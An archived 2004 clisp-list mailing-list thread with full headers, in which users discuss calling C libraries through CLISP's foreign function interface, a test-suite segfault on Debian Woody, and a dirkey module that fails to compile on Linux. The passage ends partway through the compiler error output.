2004 21:53:38 +0100 Moin Sam Steingold, > > * Michael Koehne [2004-02-12 18:35:52 +0100]: > > I've tried to understand clisp .d files and FFI several times, > what do you need to understand .d for? much more time - I tried to understand what happens inside stream.d because 'socket-status did'nt work with 'read-line ( it never would as stdio never would work with select - as I realised later ) I therefore came up to use 'read-byte-sequence and convert-string-from-bytes instead ( thanks to your suggestion ) and avoided coding .d. > Did you look at the modules facility? > > what are your problems with the FFI? > > please be specific - otherwise we cannot help you! I mainly need calling normal C libraries like X or OpenGL or lib[cm] directly. a screen full of code would be enough as a starter, e.g. a small test of my gcl-elf-loader (oh well old GCL doesn'nt know ELF ;) looks like : (elf::use-lib 'libm "libm.so.6") (defCfun "double call_d1d(int prt, double rad)" 0 "double (*callptr)(double); callptr=prt; return ( (*callptr)(rad) );" ) (defentry call-d1d (int double) (double call_d1d)) (defun dyn-sin (rad) (call-d1d (elf::use-sym 'libm '|sin|) rad)) (defun dyn-cos (rad) (call-d1d (elf::use-sym 'libm '|cos|) rad)) (defun dyn-tan (rad) (call-d1d (elf::use-sym 'libm '|tan|) rad)) (defun dyn-asin (rad) (call-d1d (elf::use-sym 'libm '|asin|) rad)) (defun dyn-acos (rad) (call-d1d (elf::use-sym 'libm '|acos|) rad)) (defun dyn-atan (rad) (call-d1d (elf::use-sym 'libm '|atan|) rad)) I could then (compile-file and (load this file, and I'm even able to do an (elf::save-system on it, producing a core that is able to dynamicaly link its libraries next time. It would be nice to come up with a wrapper macro, so that my X&OpenGL experiments work with both kinds of GNU Common Lisp. A simple clisp code calling some function out of external libraries - perhaps even some using strings would be a head start. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Thu Feb 12 13:25:10 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArOKa-0002M6-P4 for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 13:25:08 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1ArOJF-0003ZL-L4 for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 13:23:45 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1CLN33s026583; Thu, 12 Feb 2004 16:23:03 -0500 (EST) To: Michael Koehne Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Networking? Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040212205338.GA1436@bakunin.copyleft.de> (Michael Koehne's message of "Thu, 12 Feb 2004 21:53:38 +0100") References: <20040212205338.GA1436@bakunin.copyleft.de> Mail-Followup-To: Michael Koehne , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 13:26:07 2004 X-Original-Date: Thu, 12 Feb 2004 16:23:02 -0500 > * Michael Koehne [2004-02-12 21:53:38 +0100]: > > (defun dyn-sin (rad) (call-d1d (elf::use-sym 'libm '|sin|) rad)) see (def-call-out sin (:arguments (x double-float)) (:return-type double-float)) or (def-call-out sin (:arguments (x double-float)) (:library "/lib/libc.so") (:return-type double-float)) -- Sam Steingold (http://www.podval.org/~sds) running w2k Software is like sex: it's better when it's free. From kraehe@copyleft.de Thu Feb 12 14:33:49 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArPP2-0001LG-S3 for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 14:33:48 -0800 Received: from mout0.freenet.de ([194.97.50.131] ident=exim) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1ArPLK-0005Qu-9M for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 14:29:58 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with asmtp (Exim 4.30) id 1ArPNd-00028j-5N for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 23:32:21 +0100 Received: from g4478.g.pppool.de ([80.185.68.120] helo=bakunin.copyleft.de) by mx3.freenet.de with esmtp (Exim 4.30 #6) id 1ArPNc-0005Dy-UN for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 23:32:21 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1ArPNe-0000fU-00; Thu, 12 Feb 2004 23:32:22 +0100 From: Michael Koehne To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Networking? Message-ID: <20040212223222.GA2483@bakunin.copyleft.de> References: <20040212205338.GA1436@bakunin.copyleft.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 14:34:08 2004 X-Original-Date: Thu, 12 Feb 2004 23:32:22 +0100 Moin Sam Steingold, > (def-call-out sin (:arguments (x double-float)) (:return-type double-float)) this could be used for calling functions defined by (c-inline > (def-call-out sin (:arguments (x double-float)) > (:library "/lib/libc.so") > (:return-type double-float)) I tried this one and it gave : Compiling file /bakunin/export/home/kraehe/lisp/mucl/elf-test.lsp ... *** - Invalid option in (FFI:DEF-CALL-OUT SIN (:ARGUMENTS (X DOUBLE-FLOAT)) (:LIBRARY "/lib/libm.so") (:RETURN-TYPE DOUBLE-FLOAT)): (:LIBRARY "/lib/libm.so") 1. Break [2]> *features* (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) 1. Break [2]> (quit) Do I need to re./configure --with-dynamic-modules or what whats going wrong here. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Thu Feb 12 15:40:57 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArQS1-0007kx-1B for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 15:40:57 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1ArQOE-0000Ae-Gl for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 15:37:02 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1CNclEh009808; Thu, 12 Feb 2004 18:38:48 -0500 (EST) To: clisp-list@lists.sourceforge.net, Michael Koehne Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040212223222.GA2483@bakunin.copyleft.de> (Michael Koehne's message of "Thu, 12 Feb 2004 23:32:22 +0100") References: <20040212205338.GA1436@bakunin.copyleft.de> <20040212223222.GA2483@bakunin.copyleft.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Koehne Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Networking? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 15:41:17 2004 X-Original-Date: Thu, 12 Feb 2004 18:38:46 -0500 > * Michael Koehne [2004-02-12 23:32:22 +0100]: > >> (def-call-out sin (:arguments (x double-float)) >> (:library "/lib/libc.so") >> (:return-type double-float)) > > I tried this one and it gave : > > Compiling file /bakunin/export/home/kraehe/lisp/mucl/elf-test.lsp ... > *** - Invalid option in > (FFI:DEF-CALL-OUT SIN (:ARGUMENTS (X DOUBLE-FLOAT)) (:LIBRARY "/lib/libm.so") > (:RETURN-TYPE DOUBLE-FLOAT)): (:LIBRARY "/lib/libm.so") you have an old version. note that you will need (:name "sin") also. -- Sam Steingold (http://www.podval.org/~sds) running w2k We're too busy mopping the floor to turn off the faucet. From nswart@zoominternet.net Thu Feb 12 16:50:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArRX1-0006Rp-CW for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 16:50:11 -0800 Received: from mail-3.zoominternet.net ([63.67.120.3]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1ArRTA-0004Wf-IT for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 16:46:12 -0800 Received: (qmail 21966 invoked from network); 13 Feb 2004 00:48:38 -0000 Received: from acs-24-154-248-141.zoominternet.net (HELO zoominternet.net) ([24.154.248.141]) (envelope-sender ) by mail-3.zoominternet.net (qmail-ldap-1.03) with SMTP for ; 13 Feb 2004 00:48:38 -0000 Message-ID: <402C1EE6.6090805@zoominternet.net> From: Nico User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.3.1) Gecko/20030521 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Changing variables in a C dynamic library References: <9F8582E37B2EE5498E76392AEDDCD3FE09AAD65A@G8PQD.blf01.telekom.de> In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE09AAD65A@G8PQD.blf01.telekom.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 16:51:01 2004 X-Original-Date: Thu, 12 Feb 2004 19:48:38 -0500 Hi, Hoehle, Joerg-Cyril wrote: >Hi, > >Nico Swart is confused about some aspects of what the CLISP FFI calls places. He writes: > > > >>Is this because of 'fresh' variables or what am I missing ? >> >> >I'm not sure what you mean by fresh, but indeed, your C code is passed a new (stack-allocated) *struct bar, not the distinguished address of my_struct. > The 'fresh' term is used in the implementation notes. I understood that to mean a stack created object. >You could also try to take advantage of the CLISP FFI's :in and :out modes. These do not feature struct-level granularity. Instead, you must split them at the function parameter level. I.e. use a struct for :in, and another for :out values. > >Try to not create a mixed structure with some :in and some :out values, as you currently have. Distinguished in and out modes IMHO provide for a better design, in the sense that it is more amenable to cross-language interfacing, performance tuning, database interaction and distributed computing. > >It also does not require you to initialize :out slots. >(with-foreign-object (p 'bar (make-bar :x 10.0d0 :y 20.0d0)) > (foreign-value p)) >*** - NIL cannot be converted to the foreign type DOUBLE-FLOAT >you'd have to add :out 0.0d0 to make-bar. > >Of course, I myself wrote low-level C code with mixed in and out slots -- but at least, it was a conscious and weighted decision, instead of "I always did it this way and never thought about any other one". > > >Regards, > Jörg Höhle. > > > I resolved my wrong view as this by using 'c-pointer' in the declaration and 'c-var-object' in the call exactly as you pointed out. Although I resolved it, I appreciate your explanation and suggestions as it added to my understanding, thanks. Regards, Nico Swart From kraehe@copyleft.de Thu Feb 12 18:08:10 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArSkU-0002SL-7C for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 18:08:10 -0800 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1ArSj1-0000dU-TG for clisp-list@lists.sourceforge.net; Thu, 12 Feb 2004 18:06:40 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout2.freenet.de with asmtp (Exim 4.30) id 1ArSix-0000fi-2J for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 03:06:35 +0100 Received: from g4478.g.pppool.de ([80.185.68.120] helo=bakunin.copyleft.de) by mx3.freenet.de with esmtp (Exim 4.30 #6) id 1ArSiw-0001VR-QR for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 03:06:34 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1ArSiv-0005yV-00; Fri, 13 Feb 2004 03:06:33 +0100 From: Michael Koehne To: clisp-list@lists.sourceforge.net Message-ID: <20040213020633.GB3172@bakunin.copyleft.de> References: <20040212205338.GA1436@bakunin.copyleft.de> <20040212223222.GA2483@bakunin.copyleft.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] (print 1 2) - on Woody Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 12 18:09:00 2004 X-Original-Date: Fri, 13 Feb 2004 03:06:33 +0100 Moin Sam Steingold, > you have an old version. i tried current CVS and run into the following problems : On Debian/Sarge only one test failed, ... Form: (LET ((F "foo.bar") FWD1) (UNWIND-PROTECT (PROGN (WITH-OPEN-FILE (S F :DIRECTION :OUTPUT) (WRITE F :STREAM S) (SETQ FWD1 (FILE-WRITE-DATE S))) (WITH-OPEN-FILE (S F :DIRECTION :PROBE) (= FWD1 (FILE-WRITE-DATE S)))) (DELETE-FILE F))) CORRECT: T CLISP : NIL but on Debian/Woody (LET ((X (MAKE-STRING-OUTPUT-STREAM))) (PPRINT-LOGICAL-BLOCK (X NIL :PREFIX "a" :PER-LINE-PREFIX "b"))) OK: ERROR (PPRINT-NEWLINE :FRESH) OK: TYPE-ERROR (PPRINT-POP) OK: ERROR (PPRINT-TAB :PARAGRAPH 0 1) OK: ERROR (LET ((*PRINT-READABLY* T)) (PRINT-UNREADABLE-OBJECT (NIL *STANDARD-OUTPUT*))) OK: PRINT-NOT-READABLE (PRINT 1 2) make[1]: *** [tests] Segmentation fault make[1]: Leaving directory `/bakunin/export/home/kraehe/lisp/clisp-cvs-bakunin/src/suite' make: *** [testsuite] Error 2 now funny - when I try (PRINT 1 2) with ./clisp it will work with Sarge barking, that "argument 2 is not a STREAM", while it will crash on Woody. Any idea ? Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From phil.brochard@free.fr Fri Feb 13 01:37:52 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ArZld-0004Rm-M7 for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 01:37:49 -0800 Received: from smtp-105-friday.nerim.net ([62.4.16.105] helo=kraid.nerim.net) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1ArZhG-0000ov-AZ for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 01:33:18 -0800 Received: from elcflo (hocwp.net1.nerim.net [213.41.153.61]) by kraid.nerim.net (Postfix) with ESMTP id B4390419DF; Fri, 13 Feb 2004 10:36:05 +0100 (CET) Received: from phil by elcflo with local (Exim 3.35 #1 (Debian)) id 1ArZjx-0000A5-00; Fri, 13 Feb 2004 10:36:05 +0100 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (print 1 2) - on Woody References: <20040212205338.GA1436@bakunin.copyleft.de> <20040212223222.GA2483@bakunin.copyleft.de> <20040213020633.GB3172@bakunin.copyleft.de> From: Philippe Brochard In-Reply-To: <20040213020633.GB3172@bakunin.copyleft.de> Message-ID: <873c9fqq2i.fsf@free.fr> Lines: 57 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 13 01:38:06 2004 X-Original-Date: 13 Feb 2004 10:36:05 +0100 Michael Koehne writes: > Moin Sam Steingold, > > > you have an old version. > > i tried current CVS and run into the following problems : > > On Debian/Sarge only one test failed, ... > > Form: (LET ((F "foo.bar") FWD1) (UNWIND-PROTECT (PROGN (WITH-OPEN-FILE > (S F :DIRECTION :OUTPUT) (WRITE F :STREAM S) (SETQ FWD1 > (FILE-WRITE-DATE S))) (WITH-OPEN-FILE (S F :DIRECTION :PROBE) (= FWD1 > (FILE-WRITE-DATE S)))) (DELETE-FILE F))) > CORRECT: T > CLISP : NIL > > but on Debian/Woody > > (LET ((X (MAKE-STRING-OUTPUT-STREAM))) (PPRINT-LOGICAL-BLOCK (X NIL > :PREFIX "a" :PER-LINE-PREFIX "b"))) > OK: ERROR > (PPRINT-NEWLINE :FRESH) > OK: TYPE-ERROR > (PPRINT-POP) > OK: ERROR > (PPRINT-TAB :PARAGRAPH 0 1) > OK: ERROR > (LET ((*PRINT-READABLY* T)) (PRINT-UNREADABLE-OBJECT (NIL > *STANDARD-OUTPUT*))) > OK: PRINT-NOT-READABLE > (PRINT 1 2) make[1]: *** [tests] Segmentation fault > make[1]: Leaving directory > `/bakunin/export/home/kraehe/lisp/clisp-cvs-bakunin/src/suite' > make: *** [testsuite] Error 2 > > now funny - when I try (PRINT 1 2) with ./clisp it will work > with Sarge barking, that "argument 2 is not a STREAM", while > it will crash on Woody. Any idea ? > > Bye Michael I also have had this error with Woody because I use gcc 2.95, when I switch to gcc 3.2 (also on Woody but compiled by myself), there is no probleme. So, maybe you have to use a more recent version of gcc. Philippe -- Philippe Brochard http://hocwp.free.fr -=-= http://www.gnu.org/home.fr.html =-=- From pascal@informatimago.com Fri Feb 13 02:26:27 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AraWh-0003fs-8y for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 02:26:27 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AraV0-0003Jn-M8 for clisp-list@lists.sourceforge.net; Fri, 13 Feb 2004 02:24:43 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 28879586E2 for ; Fri, 13 Feb 2004 09:25:45 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 56BEA3F81A; Fri, 13 Feb 2004 09:26:45 +0100 (CET) To: clisp-list@lists.sourceforge.net From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: fr Reply-To: Message-Id: <20040213082645.56BEA3F81A@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] dirkey on linux? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 13 02:27:01 2004 X-Original-Date: Fri, 13 Feb 2004 09:26:45 +0100 (CET) I can't compile clisp-2.32 with dirkey. It insists on including and using MS-Windows stuff... executing /local/src/clisp-2.32/src/configure --with-export-syscalls --with-dynamic-modules --prefix=/local/languages/clisp/ --with-module=regexp --with-module=clx/new-clx --with-module=queens --with-module=syscalls --with-module=dirkey --with-module=wildcard --with-module=bindings/glibc --cache-file=config.cache ... checking ldap.h usability... yes checking ldap.h presence... yes checking for ldap.h... yes ... cd src ./makemake --with-dynamic-ffi --with-export-syscalls --with-dynamic-modules --prefix=/local/languages/clisp/ --with-module=regexp --with-module=clx/new-clx --with-module=queens --with-module=syscalls --with-module=dirkey --with-module=wildcard --with-module=bindings/glibc --hyperspec=http://thalssa.informatimago.com/local/lisp/www.lispworks.com/reference/HyperSpec/ > Makefile make config.lisp emacsclient config.lisp make test -d dirkey || ./lndir ../modules/dirkey dirkey if test -f dirkey/configure -a '!' -f dirkey/config.status ; then cd dirkey ; ./configure --cache-file=`echo dirkey/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi configure: loading cache ../config.cache configure: * Dirkey (Tools): checking for gcc... (cached) gcc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables... checking for suffix of object files... (cached) o checking whether we are using the GNU C compiler... (cached) yes checking whether gcc accepts -g... (cached) yes checking for gcc option to accept ANSI C... (cached) none needed checking how to run the C preprocessor... (cached) gcc -E configure: * Dirkey (Headers): checking for egrep... (cached) grep -E checking for ANSI C header files... (cached) yes checking for sys/types.h... (cached) yes checking for sys/stat.h... (cached) yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking for memory.h... (cached) yes checking for strings.h... (cached) yes checking for inttypes.h... (cached) yes checking for stdint.h... (cached) yes checking for unistd.h... (cached) yes checking ldap.h usability... yes checking ldap.h presence... yes checking for ldap.h... yes checking gnome.h usability... no checking gnome.h presence... no checking for gnome.h... no configure: * Dirkey (Output): updating cache ../config.cache configure: creating ./config.status config.status: creating Makefile config.status: creating config.h configure: * Dirkey (Done) CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd dirkey ; dots=`echo dirkey/ | sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -fPIC" INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}unix.c ${dots}xthread.c ${dots}libcharset.h" CLFLAGS="-x none -Wl,-export-dynamic" LIBS="libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl " RANLIB="ranlib" CLISP="$CLISP -q" make[1]: Entering directory `/local/src/clisp-2.32/src/dirkey' /local/src/clisp-2.32/src/lisp.run -M /local/src/clisp-2.32/src/lispinit.mem -B /local/src/clisp-2.32/src -N /local/src/clisp-2.32/src/locale -Efile UTF-8 -Eterminal UTF-8 -norc -q ../modprep.fas dirkey.c ;; MODPREP: "dirkey.c" --> #P"dirkey.m.c" ;; MODPREP: reading "dirkey.c": 32,027 bytes, 883 lines ;; MODPREP: 18 objects, 12 DEFUNs ;; packages: ("LDAP") MODPREP: wrote #P"dirkey.m.c" (38,915 bytes) Real time: 0.701425 sec. Run time: 0.19 sec. Space: 569032 Bytes GC: 1, GC time: 0.03 sec. gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -fPIC -I../ -c dirkey.m.c -o dirkey.o In file included from dirkey.c:10: config.h:38:1: warning: "PACKAGE_BUGREPORT" redefined In file included from dirkey.c:8: ../clisp.h:124:1: warning: this is the location of the previous definition In file included from dirkey.c:10: config.h:41:1: warning: "PACKAGE_NAME" redefined In file included from dirkey.c:8: ../clisp.h:125:1: warning: this is the location of the previous definition In file included from dirkey.c:10: config.h:44:1: warning: "PACKAGE_STRING" redefined In file included from dirkey.c:8: ../clisp.h:126:1: warning: this is the location of the previous definition In file included from dirkey.c:10: config.h:47:1: warning: "PACKAGE_TARNAME" redefined In file included from dirkey.c:8: ../clisp.h:127:1: warning: this is the location of the previous definition In file included from dirkey.c:10: config.h:50:1: warning: "PACKAGE_VERSION" redefined In file included from dirkey.c:8: ../clisp.h:128:1: warning: this is the location of the previous definition dirkey.c:28:22: windows.h: No such file or directory dirkey.c: In function `C_subr_ldap_dir_key_close': dirkey.c:227: error: `errno' undeclared (first use in this function) dirkey.c:227: error: (Each undeclared identifier is reported only once dirkey.c:227: error: for each function it appears in.) dirkey.c: In function `fehler_ldap': dirkey.c:359: warning: implicit declaration of function `CLSTEXT' dirkey.c:359: warning: assignment makes pointer from integer without a cast dirkey.c: In function `C_subr_ldap_dir_key_subkeys': dirkey.c:533: error: `LONG' undeclared (first use in this function) dirkey.c:533: error: parse error before "status" dirkey.c:533: error: `DWORD' undeclared (first use in this function) dirkey.c:533: error: `HKEY' undeclared (first use in this function) dirkey.c:533: error: `status' undeclared (first use in this function) dirkey.c:533: warning: implicit declaration of function `RegQueryInfoKey' dirkey.c:533: error: `hkey' undeclared (first use in this function) dirkey.c:533: error: `n_obj' undeclared (first use in this function) dirkey.c:533: error: `maxlen' undeclared (first use in this function) dirkey.c:533: error: `ERROR_SUCCESS' undeclared (first use in this function) dirkey.c:533: warning: implicit declaration of function `SetLastError' dirkey.c:533: error: parse error before "len" dirkey.c:533: warning: implicit declaration of function `RegEnumKey' dirkey.c:533: error: `len' undeclared (first use in this function) dirkey.c: In function `C_subr_ldap_dir_key_attributes': dirkey.c:541: error: `LONG' undeclared (first use in this function) dirkey.c:541: error: parse error before "status" 